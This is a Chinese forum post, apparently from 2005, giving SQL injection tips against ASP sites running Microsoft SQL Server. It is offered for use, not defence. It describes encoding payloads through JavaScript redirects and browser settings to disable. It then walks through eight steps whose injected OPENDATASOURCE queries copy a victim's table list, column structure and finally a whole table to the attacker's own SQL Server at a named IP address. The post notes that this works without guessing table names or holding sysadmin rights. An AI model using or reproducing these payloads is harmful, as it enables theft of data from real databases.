新沂城市论坛

查看: 17110|回复: 0
打印 上一主题 下一主题

注射的一些技巧

[复制链接]

该用户从未签到

跳转到指定楼层
楼主
发表于 2005-10-10 19:20:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式 来自 江苏省徐州市
错了。。出错信息被屏蔽了。。怎么办?经过研究发现是里边的某些字符例如 +号需要转化成16进制。。或许还有别的地方要转化。。怎么办啊?
---------------------------------------------------------------------------------
这是浏览器导致的,并非对方的asp所谓,一些特殊符号不能直接在浏览器里面输入,
其实没有必要全部转换成%xx的模式,写个htm里面javascript
window.location.href=".....这里随便你了......"
就可以了,该转码的都会自己转码。


另外用sqlinject记住两点
浏览器选项高级里面
1. UTF8一定要关闭
2. 友好的http信息显示一定要关闭


另外如果要偷取一个对方库里面指定一个表的数据,简单的办法就是
假设你的本地sqlserver ip是202.99.8.1 sa空 1433 tcp 默认库pop
1。 创建一个表,两个个字段number和varchar(255)就可以,表名[tmp1]
2。 然后
news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.tmp1 select [id],[name] from sysobjects where xtype='U' --
3。 无看看你的tmp1的内容,找到你想要的那个表,比如[news]对应的id=12345
4。 在你的sqlserver执行 select * into [tmpcolumns] from syscolumns where 1=2
5。 然后
news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.tmpcolumns select * from sysobjects where id=12345 --
6。 现在看看tmpcolumns你已经得到这个news的所有字段信息了
7。 根据字段本地创建创建新表[newtable]
8。 然后
news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.newtable select * from [news] --


以上方法不需要猜测表名,也不需要是sysadmin,所以只要有sqlinject漏洞并且是sqlserver的话,那么绝大多数都可以通过。并且你可以指定你要的表你要的字段,而不需要去down整个庞大的库。


不过sqlinject真的没必要花太多的精力在上面。


注:select * into [tmpcolumns] from syscolumns where 1=2的1=2判断绝对没有写错,这么做是一种复制表结构的偷懒办法


分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏 分享淘帖
新沂城市论坛免责声明:站内会员言论仅代表会员个人观点,并不代表本站同意其观点,本站不承担由此引起的法律责任。
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

QQ|Archiver|手机版|小黑屋|新沂城市论坛

GMT+8, 2024-12-28 19:34 , Processed in 0.035711 second(s), 14 queries , Xcache On.

苏公网安备 32038102000111号

快速回复 返回顶部 返回列表